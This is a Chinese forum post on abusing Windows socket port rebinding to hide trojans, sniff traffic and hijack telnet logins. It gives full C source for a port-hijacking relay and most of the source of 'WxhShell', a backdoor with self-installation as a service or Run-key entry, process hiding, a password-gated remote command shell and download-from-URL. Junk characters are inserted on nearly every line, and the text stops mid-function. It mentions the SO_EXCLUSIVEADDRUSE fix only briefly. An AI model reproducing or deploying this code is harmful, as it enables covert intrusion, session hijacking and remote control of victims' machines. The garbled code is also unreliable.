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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: v9 *WM3  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); tTE]j-uT  
KEfwsNSc%  
  saddr.sin_family = AF_INET; p G(Fw>  
OuMj%I  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); dC(5I{I|  
=)YDjd_=z  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ?DgeKA"A  
V:<Z   
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 >QSlH]M  
9!?Ywc>0#  
  这意味着什么?意味着可以进行如下的攻击: 7xh91EU:4  
U%r|hn3  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 AkAQ%)6qV  
u2 t=*<X  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) RaC8Sq7hW  
51gSbkVX  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 8T5W6Zs1  
~+S,`8-P  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  DI0Wk^m  
a&Z;$  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 K,5_{pj  
^I:f4RWo  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Dp-j(F  
q#PMQR"C  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 u9u'!hAGH  
j.kv!;Rj=  
  #include nq qqP  
  #include !S#K6:  
  #include L};P*{q2Z  
  #include    k@P?,r  
  DWORD WINAPI ClientThread(LPVOID lpParam);   L Z}m;  
  int main() *-X`^R  
  { ;pt.)5  
  WORD wVersionRequested; p`)Mk<`dYD  
  DWORD ret; C 8KV<k  
  WSADATA wsaData;  {HbSty  
  BOOL val; '37 <+N  
  SOCKADDR_IN saddr; 'OI(MuSn  
  SOCKADDR_IN scaddr; ib%'{?Q.  
  int err; k2/t~|5  
  SOCKET s; h{ T{3  
  SOCKET sc; R5N~%Dg)3  
  int caddsize; ^Eif~v  
  HANDLE mt; dR!x)oO=  
  DWORD tid;   1Vx>\A  
  wVersionRequested = MAKEWORD( 2, 2 ); e/b | sl  
  err = WSAStartup( wVersionRequested, &wsaData ); vD76IG jm  
  if ( err != 0 ) { 8lFYk`|g  
  printf("error!WSAStartup failed!\n"); 3w}ul~>j  
  return -1; i hcSSUm  
  } }CM#jN?(  
  saddr.sin_family = AF_INET; BVG.ZZR})  
   0@wXE\s  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 #_Z)2ESX  
8Om4G]*|,  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 0-:dzf  
  saddr.sin_port = htons(23); %^l&:\ hy  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)  y7vA[us  
  { 4m!w<c0NL  
  printf("error!socket failed!\n"); } 8[  
  return -1; A [_T~+-G  
  } xg;vQKS6  
  val = TRUE; Ui'*$W]v  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ?OFfU  4  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Y^b}~t  
  { |]eWO#vs  
  printf("error!setsockopt failed!\n"); >{[  
  return -1; y*!8[wASHq  
  } l p|`n  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; _wUg+Xs]  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 K0|:+s@u  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 =klfCFwP  
:A+}fB IN  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) "a-;?S&  
  { mhI   
  ret=GetLastError(); {7Hc00FM  
  printf("error!bind failed!\n"); -s^)HR l  
  return -1; d%:J-UtG"  
  } Y/T-2)D  
  listen(s,2); @<koL  
  while(1)  \|C*b<  
  { T0N6k acl  
  caddsize = sizeof(scaddr); wW7#M  
  //接受连接请求 e4FR)d0x  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); aH\A  
  if(sc!=INVALID_SOCKET) ee {K5G  
  { 1[!7xA0j  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); jS)YYk5  
  if(mt==NULL) U+[h^M$U  
  { =1\mLI}@  
  printf("Thread Creat Failed!\n"); 0|ekwTx.  
  break; fo~>y  
  } '4}8WYKQ  
  } k\Y*tY#2  
  CloseHandle(mt); HLPY%VeD  
  } K^I B1U$  
  closesocket(s); nF]zd%h  
  WSACleanup(); a,h]DkD  
  return 0; 9W&nAr  
  }   tB VtIOm9  
  DWORD WINAPI ClientThread(LPVOID lpParam) K/_"ybR7  
  { 3|%058bF  
  SOCKET ss = (SOCKET)lpParam; a7aj:.wi  
  SOCKET sc; "JE->iD  
  unsigned char buf[4096]; %~[@5<p  
  SOCKADDR_IN saddr; ^ywDa^;-  
  long num; uSv]1m_-]  
  DWORD val; zm3$)*p1  
  DWORD ret; [x'D+!  
  //如果是隐藏端口应用的话,可以在此处加一些判断 =t %;mi,M  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Ii!{\p!  
  saddr.sin_family = AF_INET; 3R%yKa#  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); i:Gyi([C  
  saddr.sin_port = htons(23); ~=9S AJr]  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) n. vrq-  
  { Rm`P.;%  
  printf("error!socket failed!\n"); F`1J&S;C  
  return -1; 39L_O RMH  
  } qMw_`dC  
  val = 100; In8{7&iVO  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 9CAu0N5<  
  { _ jH./ @G  
  ret = GetLastError(); iUs_)1  
  return -1; 0"Zxbgu)  
  } ,y@WFRsx  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) X^rFRk  
  { mY]o_\`  
  ret = GetLastError(); cPkP/3I]h  
  return -1; LI<Emez  
  } G8'  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 5s@xpWVot  
  { sRZ?Ilua6  
  printf("error!socket connect failed!\n"); !w%p Gv.wg  
  closesocket(sc); *S?'[PS]1  
  closesocket(ss); 7a=ul:  
  return -1; O:ACp<@  
  } ">Ms V/  
  while(1) G cB<i  
  { Zu 4au<  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 J:OP*/@='  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 0sH~H[ap  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 LW#U+bv]Dq  
  num = recv(ss,buf,4096,0); FAX[| p  
  if(num>0) }z,9!{~`  
  send(sc,buf,num,0); eZD"!AT  
  else if(num==0) TpI8mDO\W  
  break; FL4BdJ\  
  num = recv(sc,buf,4096,0); '6\ZgOO9  
  if(num>0) p+0gE5  
  send(ss,buf,num,0); vy` lfbX@  
  else if(num==0) "H=N>=g0E  
  break; ^XG$?2<U  
  } PXML1.r$Q  
  closesocket(ss); e,d}4 jy  
  closesocket(sc); +hX =  
  return 0 ; :yTr:FoF  
  } }R%*J  
%gWQ}QF  
YW"uC\kg|  
========================================================== <~aKwSF[wW  
P4.)kK.3q|  
下边附上一个代码,,WXhSHELL 1 ^30]2'_  
+3sbpl2}  
========================================================== s3  fQGbU  
A 8-a}0Gh  
#include "stdafx.h" N1$PW~)Y  
p'6XF{  
#include <stdio.h> Zrj#4 E1  
#include <string.h> *!E~4z=  
#include <windows.h> %m [l/,2x  
#include <winsock2.h> bdfs'udt9  
#include <winsvc.h> 0g HV(L?  
#include <urlmon.h> 'z{|#zd9  
w#ZzmO  
#pragma comment (lib, "Ws2_32.lib") r4<As`&  
#pragma comment (lib, "urlmon.lib") !b&+2y2i[W  
,*YmXR-"  
#define MAX_USER   100 // 最大客户端连接数 H@9QEj!Y  
#define BUF_SOCK   200 // sock buffer u,{R,hTDS  
#define KEY_BUFF   255 // 输入 buffer o+)y!  
L=fy!R  
#define REBOOT     0   // 重启 1yqsE`4f  
#define SHUTDOWN   1   // 关机 q*tGlM@R?  
bZ:xH48MY  
#define DEF_PORT   5000 // 监听端口 Bs|Xq'1M!;  
%yd(=%)fMB  
#define REG_LEN     16   // 注册表键长度 A&M(a  
#define SVC_LEN     80   // NT服务名长度 Z1:<i*6>D  
$F[+H Wf  
// 从dll定义API < Wp)Y  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); \3"B$Sp|=  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Vw.)T/B_D  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); kR:kn:  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);  \m+=|  
#`!mQSK  
// wxhshell配置信息 2 |JEGyDS-  
struct WSCFG { +H *6:  
  int ws_port;         // 监听端口 :U/]*0b  
  char ws_passstr[REG_LEN]; // 口令 #Ma:Av/ )  
  int ws_autoins;       // 安装标记, 1=yes 0=no =F}qT|K  
  char ws_regname[REG_LEN]; // 注册表键名 sI h5cT  
  char ws_svcname[REG_LEN]; // 服务名 Ul6|LTY  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 r=SC bv  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 q2'}S A/  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 FP}I+Ys  
int ws_downexe;       // 下载执行标记, 1=yes 0=no o|q5eUh=EY  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" @vXXf/  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 d R=0K  
b)M- q{  
}; ZI1*Cb  
}fv7WhQ  
// default Wxhshell configuration >`/s+V  
struct WSCFG wscfg={DEF_PORT, cvE)  
    "xuhuanlingzhe", QgQclML1|  
    1, Qe-Pg^PS]  
    "Wxhshell", D~Ef%!&  
    "Wxhshell", d{t@+}0.u  
            "WxhShell Service", pzoh9}bue  
    "Wrsky Windows CmdShell Service", 1P'A*`!K  
    "Please Input Your Password: ", 'Bxj(LaV-  
  1, /GM!3%'=  
  "http://www.wrsky.com/wxhshell.exe", {2m F\A#.  
  "Wxhshell.exe" -84%6p2-  
    }; ngmC~l*,  
d:>'c=y  
// 消息定义模块 uK`gveY  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; R9Wr?  
char *msg_ws_prompt="\n\r? for help\n\r#>"; J/:U,01  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 'o4`GkNh)  
char *msg_ws_ext="\n\rExit."; oylQCbT   
char *msg_ws_end="\n\rQuit."; :zq Un&k&  
char *msg_ws_boot="\n\rReboot..."; /U0Hk>$~(  
char *msg_ws_poff="\n\rShutdown..."; )UpVGT)  
char *msg_ws_down="\n\rSave to "; 43-Bx`6\  
c q[nqjC=  
char *msg_ws_err="\n\rErr!"; b/Ma,}  
char *msg_ws_ok="\n\rOK!"; 9_F&G('V{a  
LI25VDZ|iP  
char ExeFile[MAX_PATH]; &BNlMF  
int nUser = 0; f~PS'I_r  
HANDLE handles[MAX_USER]; 7R m\#  
int OsIsNt; GDe,n  
UKV<Ye|  
SERVICE_STATUS       serviceStatus; x?lRObHK  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; WT")tjVKA  
_| cSXZ|  
// 函数声明 4o;;'P   
int Install(void); k;`1Ia  
int Uninstall(void); 8 5)C7tJ-g  
int DownloadFile(char *sURL, SOCKET wsh); 6<>1,wbq  
int Boot(int flag); }{j@q~w>$  
void HideProc(void); r_T"b  
int GetOsVer(void); r@]`#PL  
int Wxhshell(SOCKET wsl); nTGZ2C)c<'  
void TalkWithClient(void *cs); DpeJx  
int CmdShell(SOCKET sock); rXT?w]4  
int StartFromService(void); db8vm4  
int StartWxhshell(LPSTR lpCmdLine); ^Y;,cLXJ  
}*}F_Y+  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ::'Y07  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ~piE$"]&  
!bCL/[  
// 数据结构和表定义 =nc;~u|]  
SERVICE_TABLE_ENTRY DispatchTable[] = M!mw6';k  
{ X%znNx  
{wscfg.ws_svcname, NTServiceMain}, 4lpcJ+:o  
{NULL, NULL}  s!  
}; &A.0(s  
wB' !@>db  
// 自我安装 wIR"!C>LE  
int Install(void) reArXmU<u  
{ Y?7GFkIP$  
  char svExeFile[MAX_PATH]; ~av#r=x  
  HKEY key; jO5R~O`  
  strcpy(svExeFile,ExeFile); !OQ5AF$  
4)k-gKS*  
// 如果是win9x系统,修改注册表设为自启动 q5hE S  
if(!OsIsNt) { mSYm18   
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >5Lp;  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); gq 3|vzNZ  
  RegCloseKey(key); B8"c+<b  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { V*fv>f:Yv  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); .w@B )f*  
  RegCloseKey(key); +Ek1~i.  
  return 0; RSbq<f>BFo  
    } |<,0*2  
  } ti6X=@ P:  
} koS?UYF`  
else { )u28:+8  
&4}=@'G@  
// 如果是NT以上系统,安装为系统服务 ot2zY dWAz  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 42tZBz&  
if (schSCManager!=0) vqQ)Pu?T  
{ ILl~f\xG)  
  SC_HANDLE schService = CreateService ! l0"nPM=  
  ( nK+ke)'Zv=  
  schSCManager, ,ayJgAD  
  wscfg.ws_svcname, 2gkN\w6zQ  
  wscfg.ws_svcdisp, j$XaO%y)  
  SERVICE_ALL_ACCESS, v=hn# U  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , xyM|q9Gf@  
  SERVICE_AUTO_START, _h  \L6.  
  SERVICE_ERROR_NORMAL, &Wb"/Hn2  
  svExeFile, [q3zs_nz  
  NULL, <;W-!R759  
  NULL, DCZG'eb  
  NULL, %C qp88]  
  NULL, );JWrkpz  
  NULL Qc?W;Q+  
  ); p%sizn  
  if (schService!=0) %kop's&?C  
  { Iy4%,8C]g  
  CloseServiceHandle(schService); O$e"3^Pa  
  CloseServiceHandle(schSCManager); EmrkaV-?k  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); LL (TD&  
  strcat(svExeFile,wscfg.ws_svcname); .zt&HI.F  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { [xrsa!$   
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ^xNzppz`]C  
  RegCloseKey(key); [ 't.x=  
  return 0; yhbU;qEG9  
    } N\Lu+ x5  
  } PX/{!_mM  
  CloseServiceHandle(schSCManager); 7=u Gf$/  
} +^esL9RG:  
} {D..(f1*u  
Ri_2@U-  
return 1; [a!AK kj  
} 6("bdx;!  
@MTv4eC}e  
// 自我卸载 @~|;/OY>"  
int Uninstall(void) x*'H@!!G  
{ Nb !i_@m%s  
  HKEY key; U?{oxy_[2  
v6=%KXSF  
if(!OsIsNt) { o8<~zeI  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { oOvQA W8`  
  RegDeleteValue(key,wscfg.ws_regname); un~`|   
  RegCloseKey(key); l5VRdZ4Uf  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Q8h0.(#-  
  RegDeleteValue(key,wscfg.ws_regname); =. \hCgq  
  RegCloseKey(key); %dW ;P[0  
  return 0; umq6X8K  
  } T* 0;3&sA  
} f -F}~S  
} b/R7 Mk1  
else { o/V T"cT  
Z:N;>.3i  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); *w _o8!3-  
if (schSCManager!=0) f sh9-iY8e  
{ lkJxb~S  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); C"**>OGe  
  if (schService!=0) + jwk4BU  
  { N* &T)a  
  if(DeleteService(schService)!=0) { \ HUDZ2 s  
  CloseServiceHandle(schService); wf]?:'}  
  CloseServiceHandle(schSCManager); ]4[%Sv6]G  
  return 0; 2#^g] o-N  
  } _z BfNz9D  
  CloseServiceHandle(schService); Q Kr/  
  } h0k?(O  
  CloseServiceHandle(schSCManager); ;Bz| hB{  
} k;t G-~\d  
} EwV$2AK  
H,GjPIG  
return 1; ,C><n kx  
} \a|~#N3?  
lGR0-Gh2  
// 从指定url下载文件 bsU$$;  
int DownloadFile(char *sURL, SOCKET wsh) Y %bb-|\W  
{ SZ[?2z  
  HRESULT hr; UxHI6,b  
char seps[]= "/"; SDE+"MjBY  
char *token; hR7uAk_?  
char *file;  I2i'  
char myURL[MAX_PATH]; 7* Y*_cH5  
char myFILE[MAX_PATH]; 5rck]L'  
#'> )?]tn  
strcpy(myURL,sURL); Bx5xtJ|!  
  token=strtok(myURL,seps); |J:r]);@K  
  while(token!=NULL) #CI0G  
  { X,3\c:  
    file=token; FA{Q6fi:2  
  token=strtok(NULL,seps); :X'B K4EN  
  } [[<TW}  
uQdy  
GetCurrentDirectory(MAX_PATH,myFILE); .4"BN<9  
strcat(myFILE, "\\"); D>W&#A8&y  
strcat(myFILE, file); fUWrR1  
  send(wsh,myFILE,strlen(myFILE),0); JmR2skoV,  
send(wsh,"...",3,0); >I~Q[  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); =Jw*T[E  
  if(hr==S_OK) X=m^+%iD  
return 0; |3B<;/v5  
else 7~Inxk;  
return 1; W =Bw*o-  
l\V1c90m  
} BRY/[QRqZ  
-o"b$[sf=Z  
// 系统电源模块 WUz69o be  
int Boot(int flag)  NnHaHX  
{ }1k?th  
  HANDLE hToken; *Us}E7/"'  
  TOKEN_PRIVILEGES tkp; L(Twclrb  
{vW0O&[  
  if(OsIsNt) { \rUKP""m  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); U7n#TPet  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); #>:S&R?2t  
    tkp.PrivilegeCount = 1; Os>&:{D4!  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; (Ytr&gh;0  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Et }%)M  
if(flag==REBOOT) { K{DmMi];I  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) !=,zy  
  return 0; ]W Yub1  
} ?K2EK'-q  
else { t~K[`=G\ex  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 5ta;CG  
  return 0; 0F- +)S?M[  
} ,GVX1B?  
  } >S}X)4  
  else { }qp)VF  
if(flag==REBOOT) { 7Rtjm  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 6g#yzex  
  return 0; hV,T889'  
} 'JdK0w#  
else { rWNe&gFM  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) "y7\F9  
  return 0; %`5K8eB  
} R|)l^~x  
} ZoJq JWsd  
%$o[,13=  
return 1; -:=m-3*Tg  
} )_j(NX-C:  
Wm"#"l4  
// win9x进程隐藏模块 zJ}abo6rVw  
void HideProc(void) "dt}k$Gr  
{ nPI$<yW7F  
N3#^Ifn[  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 3D@3jyo:  
  if ( hKernel != NULL ) c9jS !uDMK  
  { n>eDN\5  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Y{dX[^[  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 7n84`|=  
    FreeLibrary(hKernel); 4,:I{P_>6B  
  } Y&,}q_Z:  
t`hes $E  
return; -lfDoNRhQ  
} %4M,f.[e  
DS%]7,g]  
// 获取操作系统版本 O[U`(A:  
int GetOsVer(void) @.k^ 8hc  
{ M'R ] ''  
  OSVERSIONINFO winfo; ~QUNR?h  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); l{^s4  
  GetVersionEx(&winfo); L{IMZ+IB2|  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 6l4=  
  return 1; YGQ/zB^Pj  
  else Io IhQ  
  return 0; <uFj5.  
} R%}<z*~NE@  
GL9'dL|  
// 客户端句柄模块 H-e$~vEbP  
int Wxhshell(SOCKET wsl) )n9,?F#l  
{ K^"l.V#J  
  SOCKET wsh; ( 6zu*H)  
  struct sockaddr_in client; kFkI[WKyZ  
  DWORD myID; W58?t6! =  
{y5 L  
  while(nUser<MAX_USER) eF7I 5k4  
{ 7y30TU  
  int nSize=sizeof(client); 5/ U{b5  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); |"Zf0G  
  if(wsh==INVALID_SOCKET) return 1; ^K J#dT  
+C7W2!I[G2  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); l+y;>21sTu  
if(handles[nUser]==0) sb_/FE5e  
  closesocket(wsh); cg]Gt1SU  
else $E;Tj|W  
  nUser++;  ydY( *]  
  } rrgOp5aV"  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); fXnewPr=#  
*a|575e< z  
  return 0; se>\5k  
} /L(}VJg-  
K9}Brhe  
// 关闭 socket [P~7kNFOh  
void CloseIt(SOCKET wsh) UB>BVBCt  
{ 0x*|X@ 6\  
closesocket(wsh); o>+mw|{  
nUser--; x{ `{j'  
ExitThread(0); 3]}RjOTU  
} M?('VOy)  
.C+(E@eyA  
// 客户端请求句柄 :}#)ipr  
void TalkWithClient(void *cs) 4DL2 A;T  
{ /|&4&$  
>tMI%r  
  SOCKET wsh=(SOCKET)cs; 4|Y1W}!0/  
  char pwd[SVC_LEN]; 1Lje.%(E.  
  char cmd[KEY_BUFF]; dSTyx#o  
char chr[1]; ~9k E.  
int i,j; ^  ~1QA  
47{5{/B-  
  while (nUser < MAX_USER) { {/5aF_0D.  
 o4yl3o  
if(wscfg.ws_passstr) { EAWBgOO8iC  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); %}~(%@qB>+  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); |9FrVO$M  
  //ZeroMemory(pwd,KEY_BUFF); UNv!G/i-5  
      i=0; /7+b.h])^  
  while(i<SVC_LEN) { =\5f_g2M  
Z'5&N5hx  
  // 设置超时 s7:_!Nd@8  
  fd_set FdRead; y>h9:q|  
  struct timeval TimeOut; p NQ7uy  
  FD_ZERO(&FdRead); |Go$z3bx  
  FD_SET(wsh,&FdRead); aTH$+f1?Q  
  TimeOut.tv_sec=8; !RwhVaSh  
  TimeOut.tv_usec=0; y.8nzlkE{  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); y#`;[!  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); aEa+?6;D  
=\)zb'\=d  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); };P=|t(r  
  pwd=chr[0]; rxy5Nrue  
  if(chr[0]==0xd || chr[0]==0xa) { >P}XCAU  
  pwd=0; <RC%<  
  break; rhaq!s38:  
  } ;;CNr_  
  i++; (OwGp3g  
    } w<]-~`K  
1!U:M8T|  
  // 如果是非法用户,关闭 socket jyyig%  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); b9T6JS j  
} DYIp2-K  
hz<TjWXv'  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ;P8% yf  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 0SIUp/.  
tGXH)=K  
while(1) { O/(vimx.#F  
x\:KfYr4Y;  
  ZeroMemory(cmd,KEY_BUFF); br k*;  
~d\V>  
      // 自动支持客户端 telnet标准   1BEc"  
  j=0; C+`V?rp=s  
  while(j<KEY_BUFF) { H{9P=l  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); [wQJVYv  
  cmd[j]=chr[0]; Z1$U[Tsd  
  if(chr[0]==0xa || chr[0]==0xd) { 8D?$@!-  
  cmd[j]=0; ~FXq%-J  
  break; 7\nXJ381  
  } S&[9Vb  
  j++; glROT@  
    } ij3W8i9'  
^liW*F"UY  
  // 下载文件 L+@X]O W8  
  if(strstr(cmd,"http://")) { P&: [pPG  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); =^{MyR7  
  if(DownloadFile(cmd,wsh)) DNqC*IvuzM  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); p__N6a  
  else rL+.3ZO):P  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); SGy2&{\Z  
  } XUUP#<,s  
  else { BjTgZ98J  
8~RJnwF^  
    switch(cmd[0]) { '<ZHzDW@  
  kou7_4oS  
  // 帮助 8s[1-l  
  case '?': { -lv(@7o~  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); $XkO\6kh  
    break; PVljb=8F  
  } tW-[.Y -M,  
  // 安装 w"QZ7EyJ  
  case 'i': { 4qsxlN>4O  
    if(Install()) 0u( 0*Xl  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); q j9q   
    else 61gyx6v  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); DYgB_Iak  
    break; uT<<G)v)  
    } 9^Web~yi#  
  // 卸载 MI:%Eq  
  case 'r': { d`5AQfL&  
    if(Uninstall()) ~MYE8xrId  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); o"A)t=  
    else Q^05n$ tI  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); BYa#<jXtAT  
    break; 0mmHN`<  
    } gnxD'1_  
  // 显示 wxhshell 所在路径 r[GH#vF;7  
  case 'p': { XsFzSm  
    char svExeFile[MAX_PATH]; WT1y7+_g(d  
    strcpy(svExeFile,"\n\r"); T 7qHw!)  
      strcat(svExeFile,ExeFile); gLZJQubz 6  
        send(wsh,svExeFile,strlen(svExeFile),0); N cGFPi (Z  
    break; s6_i>  
    } 3kF+wifsz  
  // 重启 5e7\tBab  
  case 'b': { =43NSY  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); L8 NZU*"  
    if(Boot(REBOOT)) FDGG$z?>m  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); n^5Q f\o  
    else { -F3~X R  
    closesocket(wsh); 5gC> j(  
    ExitThread(0); 5e0d;Rd  
    } ),j6tq[  
    break; bF+j%=  
    } tw\1&*:  
  // 关机 xpwy%uo  
  case 'd': { E m+&I  
